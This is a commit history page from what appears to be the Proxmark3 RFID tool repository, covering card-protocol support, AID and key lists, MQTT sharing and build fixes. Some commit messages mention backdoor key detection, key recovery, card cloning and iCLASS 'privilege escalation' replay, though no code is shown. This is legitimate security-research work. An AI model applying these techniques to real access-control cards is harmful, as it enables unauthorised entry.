Compare commits

...

1667 commits

Author SHA1 Message Date
iceman1001
6ee974b935 swapped from bigbuf malloc calls to calloc calls on device side. Now all allocations should start from a known state of memory
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
2025-08-20 16:23:36 +02:00
iceman1001
b443f6327c not to forget about fpc dev mode 2025-08-20 16:20:39 +02:00
iceman1001
e578d75e66 style
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-08-20 10:55:49 +02:00
iceman1001
4af87a2f91 improve instructions 2025-08-20 10:53:03 +02:00
Iceman
833eea49ec
Merge pull request #2958 from kormax/mfdes-dfname-param
Support VC card reading by adding `--dfname` argument to more `mfdes` commands
2025-08-20 10:15:52 +02:00
kormax
63b4612f18
Support VC card reading by adding --dfname argument to more mfdes commands 2025-08-19 22:51:56 +03:00
iceman1001
c9f9fcb198 fix bad merge in ul-c sim
Some checks failed
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-08-18 22:53:42 +02:00
Iceman
7085e8ff7f
Merge pull request #2957 from ry4000/master
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
R&Y: Added `MEX AHORROBUS Card` to `aid_desfire.json`
2025-08-18 10:43:02 +02:00
ry4000
b1a03ec27e
R&Y: Added MEX AHORROBUS Card to aid_desfire.json
### Additions
- MEX AHORROBUS Card (C1B1A1) *with many thanks to Discord\`@narzaum2874`.

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-08-18 17:53:41 +10:00
Iceman
160eb44fcc
Merge pull request #2956 from jkramarz/crescendo_aid
Add HID® Crescendo® AIDs to AID list
2025-08-18 08:02:22 +02:00
Jakub Kramarz
515d8c76fa AID list: added Crescendo AIDs
from https://docs.hidglobal.com/crescendo/api/low-level/select.htm
2025-08-17 16:28:23 +02:00
Jakub Kramarz
b09e3614da AID list: removed duplicate AID for PIV 2025-08-17 16:28:23 +02:00
iceman1001
8ab2f2b5a0 style
Some checks failed
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-08-12 19:06:38 +02:00
Philippe Teuwen
d75b170cd4 fix typos
Some checks failed
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-08-09 10:11:12 +02:00
Philippe Teuwen
72e47e4fcb minor usage fix in staticnested_2nt
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-08-08 23:08:27 +02:00
Iceman
2279d415a4
Merge pull request #2953 from q0jt/master
Some checks failed
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Support dumping blocks requiring Read After Authentication on FeliCa Lite-S
2025-08-07 12:41:28 +02:00
q0jt
50972c0232
fix 2025-08-06 21:39:55 +09:00
q0jt
30689f7d3c
hf felica liteauth: add external authentication 2025-08-06 08:32:34 +09:00
iceman1001
a0df90af18 style
Some checks failed
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-08-04 19:53:08 +02:00
Philippe Teuwen
09c4446f78 recover_pk: add sample 2025-08-04 16:26:54 +02:00
Iceman
ce82c85684
Merge pull request #2833 from philicious/new-keys
Some checks failed
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Check uniq keys / check-unique (push) Has been cancelled
Add keys for Aral Gas Station Car-Wash cards
2025-08-04 14:31:42 +02:00
Philippe Teuwen
989dad18cc fm11rf08s_recovery.py: load def keys as lowercase
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-08-03 22:05:42 +02:00
Iceman
6bb377667a
Merge pull request #2952 from zinongli/calypso_formatting
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
`hf 14b calypso`: Less Strict Loop Logic and Additional Files to Dump from
2025-08-03 08:53:44 +02:00
Philippe Teuwen
dccfb391aa Fingerprint FM11RF08S 0590, thanks Jackson Ouzts 2025-08-03 08:33:55 +02:00
zinongli
9448a41e7d Update CHANGELOG.md 2025-08-02 23:11:03 -04:00
zinongli
595517bfed Update cmdhf14b.c 2025-08-02 23:06:01 -04:00
Iceman
0e95c62add
Merge pull request #2951 from zinongli/felica_dump
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
`hf felica dump` for Services Readable without Auth
2025-08-03 04:02:51 +02:00
zinongli
52c9d90d64 fixed it? 2025-08-02 20:26:26 -04:00
zinongli
60982bb53f change log 2025-08-02 20:10:29 -04:00
zinongli
72d475f484 clean up 2025-08-02 20:06:49 -04:00
zinongli
ac0f747104 add hf felica dump for unauth readable blocks 2025-08-02 20:05:42 -04:00
Philippe Teuwen
948dce9230 new pk
Some checks failed
MacOS Build and Test / macos-cmake (push) Has been cancelled
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-07-31 15:00:24 +02:00
Iceman
d48ba1177c
Merge pull request #2950 from q0jt/master
Add FeliCa Lite-S authentication
2025-07-31 15:00:05 +02:00
q0jt
a8d74d6d60
refactor 2025-07-31 18:20:05 +09:00
q0jt
13053e14d1
resolve maybe-uninitialized 2025-07-31 08:22:31 +09:00
q0jt
ddaa6de5cf
bug fix 2025-07-31 08:06:29 +09:00
q0jt
d824040441
bug fix 2025-07-31 07:59:56 +09:00
q0jt
5a627381af
hf felica: add FeliCa Lite-S authentication 2025-07-31 07:44:13 +09:00
Iceman
a1e9b4716c
Merge pull request #2949 from Flole998/patch-1
Some checks failed
Windows Build and Test / wsl (push) Has been cancelled
CodeQL / Analyze (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Allow writing key B even when no key A was found
2025-07-29 16:30:08 +02:00
Flole
4f77c18ab4
Allow writing key B even when no key A was found
Likely a copy/paste bug

Signed-off-by: Flole <Flole998@users.noreply.github.com>
2025-07-29 15:08:46 +02:00
iceman1001
ee2f5595ee added a lf t55xx view command to view t55xx dump files 2025-07-28 15:46:09 +02:00
iceman1001
c997805117 style 2025-07-28 15:45:33 +02:00
iceman1001
79d1e102af style 2025-07-28 15:45:04 +02:00
iceman1001
0dacfb996f addition 2025-07-28 15:44:10 +02:00
Iceman
ec144c5198
Merge pull request #2947 from andyshieh/fix-indala-clone-fc-cn
Fix getIndalaBits checksum logic
2025-07-28 15:17:57 +02:00
Andy Shieh
7e7fe1837e
[Fix] added original comments back; use same bitwise operation for even check
Signed-off-by: Andy Shieh <hsieandy@gmail.com>
2025-07-28 22:41:18 +10:00
Iceman
b7bf392297
Merge pull request #2948 from gentilkiwi/patch-1
Update intertic.py to support [FRA] Caen
2025-07-27 15:02:35 +02:00
Benjamin DELPY
ab6e203560
Update intertic.py to support [FRA] Caen
Signed-off-by: Benjamin DELPY <benjamin@gentilkiwi.com>
2025-07-27 14:29:27 +02:00
Andy Shieh
9ce9031516
Update CHANGELOG.md
Signed-off-by: Andy Shieh <hsieandy@gmail.com>
2025-07-27 21:39:09 +10:00
Andy Shieh
9dd6e4a85f
Fix getIndalaBits checksum logic
Signed-off-by: Andy Shieh <hsieandy@gmail.com>
2025-07-27 21:31:42 +10:00
Iceman
928ab8e027
Merge pull request #2946 from zinongli/felica_dump
`hf felica scsvcode` implementation: dump all area and service code
2025-07-26 11:50:22 +02:00
zinongli
e94921c1af format 2025-07-26 01:12:18 -04:00
zinongli
8014aa0361 Update CHANGELOG.md
per Github bot's suggestion
2025-07-26 01:08:12 -04:00
zinongli
4090828ebc hints for endian issue 2025-07-26 00:59:37 -04:00
zinongli
3b88dd45a3 beautify output format 2025-07-26 00:49:57 -04:00
zinongli
c74d04bfe7 enumerate nodes 2025-07-26 00:10:37 -04:00
zinongli
83c54bb174 initial working for single node 2025-07-25 23:47:00 -04:00
Philippe Teuwen
90d766a811 Fix FM11RF08 0391 description 2025-07-25 22:29:58 +02:00
Philippe Teuwen
e7cbf9ff63 update commands.json 2025-07-25 22:28:33 +02:00
Philippe Teuwen
06a9a67aae typo 2025-07-25 21:00:26 +02:00
Philippe Teuwen
48724e44b4 hf mf sim: add --allowover option, needed for RF08S originality check 2025-07-25 20:54:18 +02:00
Philippe Teuwen
47b7827982 hf mf sim: Missing line in trace when reader attempts to auth to sectors out of range 2025-07-25 20:24:53 +02:00
Iceman
f943a38558
Update README.md
Signed-off-by: Iceman <iceman@iuse.se>
2025-07-22 10:45:16 +02:00
Iceman
7472217aeb
Merge pull request #2944 from mistial-dev/add-desfire-bible
Add unofficial desfire bible
2025-07-22 10:43:20 +02:00
Mistial Developer
008693635f
Add unofficial desfire bible 2025-07-22 02:06:19 -04:00
Philippe Teuwen
12e68d7a28 Change readline hack logic for async dbg msg to be ready for readline 8.3 2025-07-19 16:54:55 +02:00
Iceman
43a012b613
Merge pull request #2942 from mistial-dev/feature-desfire-commands
DESFire: fix value file operations and improve MAC mode compatibility
2025-07-19 16:15:58 +02:00
Mistial Developer
b3b24855d0
DESFire: add detailed documentation for value file operations
- Introduced a new "How to work with value files" section
- Updated command examples with links to the new section
- Clarified current/deprecated value operation commands
- Expanded examples with practical use cases, security modes, and error handling scenarios
2025-07-19 09:57:27 -04:00
Mistial Developer
e1598cd620
DESFire: fix value file operations and improve MAC mode compatibility
- Add auto-detection fallback for MAC mode in value operations
  When MAC mode fails with length errors, automatically retry with
  plain mode for better compatibility across different card types

- Fix MAC transmission behavior for value operations
  Remove CREDIT, LIMITED_CREDIT, and DEBIT from EV1D40TransmitMAC
  array to match real card behavior and prevent authentication issues

- Change default algorithm from DES to 2TDEA
  Real DESFire cards seem to use 2TDEA by default, improving
  out-of-the-box compatibility with factory cards

- Update help text for value commands to follow client patterns
  Standardize "Crypt algo (deft: 2TDEA)" format for consistency

- Add online test suite for DESFire value operations
  New pm3_online_tests.sh script validates value file creation,
  credit/debit operations in both plain and MAC modes with real cards
2025-07-19 08:39:47 -04:00
Iceman
ae8b71197d
Merge pull request #2941 from q0jt/master
Fix `hf felica litedump`
2025-07-19 09:33:25 +02:00
q0jt
95759a13ba
hf felica litedump: skip blocks that require Read After Authentication 2025-07-19 15:42:00 +09:00
Iceman
e0e7de2853
Merge pull request #2937 from grugnoymeme/master
ModemManager solution 2 Updated
2025-07-18 19:11:31 +02:00
47LeCoste
b2939332c2
Update CHANGELOG.md
Signed-off-by: 47LeCoste <82815207+grugnoymeme@users.noreply.github.com>
2025-07-16 23:45:47 +02:00
47LeCoste
77bae8a9cb
Update ModemManager-Must-Be-Discarded.md
Signed-off-by: 47LeCoste <82815207+grugnoymeme@users.noreply.github.com>
2025-07-16 20:16:46 +02:00
47LeCoste
c32a55eabc
Update ModemManager-Must-Be-Discarded.md
better mask than disable th ModemManager bc some services could force the activation also if it was "only" disabled..
If u mask it, u're gonna stay safe...
I also added a comment to my .zshrc: 
# services masked: ModemManager
so in case i'll need it in the future i can unmask it and i'll remember suddenly the status of it.


Signed-off-by: 47LeCoste <82815207+grugnoymeme@users.noreply.github.com>
2025-07-16 20:13:36 +02:00
Philippe Teuwen
d933e329c4 hf mf info: fix backdoor detection when using non-default key
Some checks failed
MacOS Build and Test / macos-cmake (push) Has been cancelled
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-07-15 10:44:19 +02:00
Iceman
7c187b0ad5
Merge pull request #2935 from jamesmacwhite/paxton_clone_linux
Some checks failed
Windows Build and Test / wsl (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
paxton_clone.lua: Detect operating system for logfile handling on Linux environments
2025-07-13 23:38:54 +02:00
iceman1001
ed84b1fcf4 style
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-07-13 15:55:44 +02:00
iceman1001
64111a43ea text 2025-07-13 14:24:19 +02:00
James White
8de424410f Detect operating system for logfile handling on Linux environments 2025-07-13 13:10:51 +01:00
Philippe Teuwen
53595e0a3a cmdmqtt: avoid using pthread_cancel, for compatibility with termux 2025-07-13 12:21:30 +02:00
Philippe Teuwen
8f9bb379ad fix client Makefile if no Makefie.platform is provided 2025-07-13 11:57:26 +02:00
iceman1001
ef372a5ef0 text 2025-07-13 11:29:29 +02:00
iceman1001
ca6dbc5251 data crypto - now also can du AES256 2025-07-13 11:06:01 +02:00
iceman1001
0dc80263e8 add aes256 2025-07-13 11:03:20 +02:00
iceman1001
58690ed24e text 2025-07-13 11:02:59 +02:00
Iceman
e509967abf
Merge pull request #2934 from ah01/ishield-key
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Add recognition of Swissbit iShield Key Mifare as MFD EV3
2025-07-12 12:02:50 +02:00
Adam Hořčica
134d76f60d Add missing author name 2025-07-12 10:48:31 +02:00
Adam Hořčica
7cf206030d Add recognition of Swissbit iShield Key Mifare as MFD EV3 2025-07-12 10:31:07 +02:00
Philippe Teuwen
c8219a6030 detect_classic_auth: silent error
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
2025-07-11 13:43:50 +02:00
Philippe Teuwen
66fc610a66 hf mf info: add detection for unknown backdoor keys and for some backdoor variants 2025-07-11 13:27:00 +02:00
iceman1001
c25dbf8f21 forget the struct changes
Some checks failed
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Check uniq keys / check-unique (push) Has been cancelled
2025-07-10 16:02:18 +02:00
iceman1001
c216fbeeaf preferences and mqtt commands now handles mqtt server/port/topic settings. if mqtt command is called w/o any mqtt and preference is set it takes prio 2025-07-10 14:10:53 +02:00
Iceman
49a45519b8
Merge pull request #2933 from virtyvoid/patch-1
Update CHANGELOG.md
2025-07-10 12:35:26 +02:00
Alexander
2d3ad38853
Update CHANGELOG.md
Signed-off-by: Alexander <me@deploykin.ru>
2025-07-10 13:22:21 +03:00
iceman1001
2597c7576e style 2025-07-10 11:52:39 +02:00
Iceman
cb8bb8d520
Merge pull request #2931 from ry4000/master
R&Y: Updated `aid_desfire.json`
2025-07-09 13:31:15 +02:00
Iceman
3e0127086b
Merge pull request #2932 from virtyvoid/mqttfixes
fixes to mqtt (win sockets)
2025-07-09 13:30:01 +02:00
Def
c39e18a014 fixes to mqtt (win sockets) 2025-07-09 14:19:00 +03:00
ry4000
ac6916777f
Merge branch 'RfidResearchGroup:master' into master 2025-07-09 20:09:56 +10:00
ry4000
36f5a0c69b
R&Y: Updated aid_desfire.json
Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-07-09 20:09:40 +10:00
iceman1001
815d445382 fix mqtt receive on proxspace 2025-07-09 08:21:21 +02:00
iceman1001
931e93a11b Win32 socket vs POSIX sockets is not always happy together. Seperated the two to mimic the same behavior we have for /uart/. The code compiles but the socket doesnt work on Proxspace yet. More fixes to be done 2025-07-09 00:20:43 +02:00
iceman1001
fa59b9cb6b fix mqtt receive command default behaviour
Some checks failed
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-07-08 21:51:48 +02:00
iceman1001
a3c2d2b815 style 2025-07-08 21:15:09 +02:00
iceman1001
c7cf62fcf1 Added support for sending and receiving MQTT messages. It enables end user to quickly upload or share JSON files between them. Given the nature of MQTT, I also worked with @KevTheHermit who has proxdump.com site, where you can upload pm3 dump files and browse. He added support for MQTT uploads, so the process to share a file and it gets also uploaded to proxdump.com is very smooth. Feel free to improve this functionality with TLS etc. For now it looks quite promising. 2025-07-08 21:15:09 +02:00
ry4000
138039b232
R&Y: Removed Gallagher Alternative Endian in aid_desfire.json
### Updates
- Removed Alternative Endian
- AIDs previously designated as `(Alternative Endian)` are now correctly listed as Gallagher AIDs

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-07-08 17:08:10 +10:00
ry4000
09bdb0c566
Merge branch 'RfidResearchGroup:master' into master 2025-07-08 17:03:41 +10:00
Iceman
732cc1b82e
Merge pull request #2930 from Eltrick/saflok_year_fix
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Fix incorrect formula for calculating Saflok years, and also standardising brand name styling
2025-07-07 19:35:54 +02:00
Lucifer Voeltner
ed504a76ca
Fix incorrect formula for calculating Saflok years 2025-07-08 00:15:43 +07:00
iceman1001
7717dfc04d text
Some checks failed
CodeQL / Analyze (push) Has been cancelled
MacOS Build and Test / macos-make (push) Has been cancelled
MacOS Build and Test / macos-make-btaddon (push) Has been cancelled
MacOS Build and Test / macos-cmake (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make (push) Has been cancelled
Ubuntu Build and Test / ubuntu-make-btaddon (push) Has been cancelled
Ubuntu Build and Test / ubuntu-cmake (push) Has been cancelled
Windows Build and Test / proxspace (push) Has been cancelled
Windows Build and Test / wsl (push) Has been cancelled
2025-07-06 20:12:13 +02:00
Iceman
53b2dc7d4b
Merge pull request #2927 from Antiklesys/master
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Updated hf iclass wrbl replay
2025-07-05 19:34:32 +02:00
ry4000
b27d3edb1a
Update aid_desfire.json
Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-07-05 23:59:19 +10:00
Antiklesys
75c3ce61dd Update iclass.c
Fixed correctly, in the previous fix I'm checking the length of the mac, but the mac is always 4 0 bytes (set from client side as part of the variable size) and the only actual check happens on client side. I'll have to check for the mac value to be != from 00000000
2025-07-05 19:35:41 +08:00
Antiklesys
33c3988a94 Fix broken older functionality
Updated to still maintain older functionality when the macs field is passed
2025-07-05 19:26:22 +08:00
Iceman
594f127adf
Merge pull request #2928 from ry4000/master
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
R&Y: Added `GEG Connect` to `aid_desfire.json`
2025-07-05 12:20:51 +02:00
ry4000
66b7e27dec
R&Y: Re-Ordered aid_desfire.json
### Updated
- GEG Connect Card to in between SEA ORCA and ITSO AIDs

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-07-05 15:40:59 +10:00
ry4000
fa2d52205b
R&Y: Added GEG Connect to aid_desfire.json
### Added
- GEG Connect Card (F21400)

Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com>
2025-07-05 15:39:12 +10:00
Antiklesys
7ad3f6eaf2 Updated hf iclass wrbl replay
replay behavior to use privilege escalation instead of having to generate specific block/content macs for hf iclass wrbl
2025-07-05 13:25:18 +08:00
Iceman
baf22054f8
Merge pull request #2926 from Antiklesys/master
Some checks are pending
CodeQL / Analyze (push) Waiting to run
MacOS Build and Test / macos-make (push) Waiting to run
MacOS Build and Test / macos-make-btaddon (push) Waiting to run
MacOS Build and Test / macos-cmake (push) Waiting to run
Ubuntu Build and Test / ubuntu-make (push) Waiting to run
Ubuntu Build and Test / ubuntu-make-btaddon (push) Waiting to run
Ubuntu Build and Test / ubuntu-cmake (push) Waiting to run
Windows Build and Test / proxspace (push) Waiting to run
Windows Build and Test / wsl (push) Waiting to run
Fixing style fix
2025-07-04 12:38:19 +02:00
Antiklesys
f5e61410c6 Fixing style fix
Fixing 24d80f51a9 where an AND was switched to an OR
2025-07-04 18:37:46 +08:00
iceman1001
24d80f51a9 style 2025-07-04 12:22:09 +02:00
Iceman
03a3abfc64
Merge pull request #2925 from Antiklesys/master
Updated iclass restore to support replay via privilege escalation
2025-07-04 11:57:24 +02:00
Antiklesys
f5820999b4
Update iclass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-07-04 17:52:43 +08:00
Antiklesys
8e4b9b46a0
Update iclass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-07-04 17:48:23 +08:00
Antiklesys
649de11a9a
Update iclass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2025-07-04 17:28:01 +08:00
Antiklesys
f8bd0b4bae Updated iclass restore to support privilege escalation
